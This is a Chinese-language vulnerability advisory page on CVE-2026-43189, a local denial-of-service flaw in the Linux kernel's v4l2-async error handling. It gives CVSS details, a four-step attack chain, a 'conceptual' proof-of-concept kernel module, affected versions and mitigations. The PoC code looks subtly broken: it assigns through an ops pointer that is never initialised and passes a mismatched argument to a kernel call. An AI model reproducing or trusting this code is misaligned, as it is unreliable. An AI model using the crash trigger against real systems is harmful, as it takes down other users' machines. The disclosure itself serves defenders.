IPBUF安全漏洞报告
English
CVE-2026-43189 CVSS 5.5 中危

CVE-2026-43189 Linux内核v4l2-async错误处理漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43189
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSv4l2-asyncLocalMemory Corruption

漏洞概述

Linux内核的v4l2-async模块中存在一个漏洞,涉及在找到异步匹配后的错误处理逻辑缺陷。当一个异步连接匹配成功后,如果在注册子设备或调用绑定操作等后续步骤中发生失败,错误处理路径会试图解引用尚未初始化的指针(sd字段),并重复执行从列表中移除连接的操作。这可能导致内核崩溃、空指针解引用或链表损坏,进而造成系统拒绝服务。

技术细节

该漏洞位于Linux内核的drivers/media/v4l2-core/v4l2-async.c文件中。在v4l2_async_match_notify函数执行过程中,如果发生错误,会进入错误处理路径。问题在于:1. v4l2_async_match_notify在失败时调用v4l2_async_unbind_subdev_one,而后者访问了async_connection->sd字段。然而,sd字段仅在v4l2_async_match_notify成功创建辅助链接之后才被赋值,因此在错误路径中访问该字段属于解引用未初始化内存;2. 错误处理逻辑中存在双重释放或重复移除列表项的问题,导致内核链表结构被破坏。由于CVSS向量为AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H,攻击者需具备本地低权限账号即可触发该漏洞,主要影响系统可用性。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地低权限访问权限。
STEP 2
步骤2
攻击者加载或触发特定V4L2设备驱动程序,该驱动程序涉及异步子设备连接。
STEP 3
步骤3
通过特定的硬件操作或内核模块交互,诱导v4l2_async_match_notify函数在绑定操作期间失败。
STEP 4
步骤4
内核执行错误处理路径,解引用未初始化的sd字段或破坏链表,导致内核崩溃(Kernel Panic)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43189 * This is a conceptual PoC to trigger the v4l2-async error handling path. * It requires a hardware setup or emulated environment where a V4L2 async * subdevice registration can be forced to fail during the match_notify phase. */ #include <linux/module.h> #include <linux/platform_device.h> #include <media/v4l2-async.h> #include <media/v4l2-subdev.h> static int test_notify_bound(struct v4l2_async_notifier *notifier, struct v4l2_subdev *subdev, struct v4l2_async_connection *asc) { /* Simulate a failure during the binding process */ pr_info("Triggering bind failure\n"); return -EINVAL; /* Force error to trigger vulnerability path */ } static int test_probe(struct platform_device *pdev) { struct v4l2_async_notifier *notifier; struct v4l2_async_connection *asc; struct fwnode_handle *fwnode; /* Setup notifier and connection to trigger the vulnerable code path */ notifier = devm_kzalloc(&pdev->dev, sizeof(*notifier), GFP_KERNEL); if (!notifier) return -ENOMEM; v4l2_async_notifier_init(notifier); notifier->ops->bound = test_notify_bound; /* In a real scenario, this would involve a specific fwnode match */ /* The vulnerability is triggered when v4l2_async_match_notify fails */ return v4l2_async_register_subdev(notifier->sd); } static struct platform_driver test_driver = { .probe = test_probe, .driver = { .name = "cve_2026_43189_poc", }, }; module_platform_driver(test_driver); MODULE_LICENSE("GPL");

影响范围

Linux Kernel < 6.9-rc1
Linux Kernel < 6.8.2
Linux Kernel < 6.6.16
Linux Kernel < 6.1.79
Linux Kernel < 5.15.141
Linux Kernel < 5.10.203

防御指南

临时缓解措施
如果无法立即升级内核,建议禁用受影响的V4L2驱动模块或限制本地用户对视频设备的访问权限,以防止触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表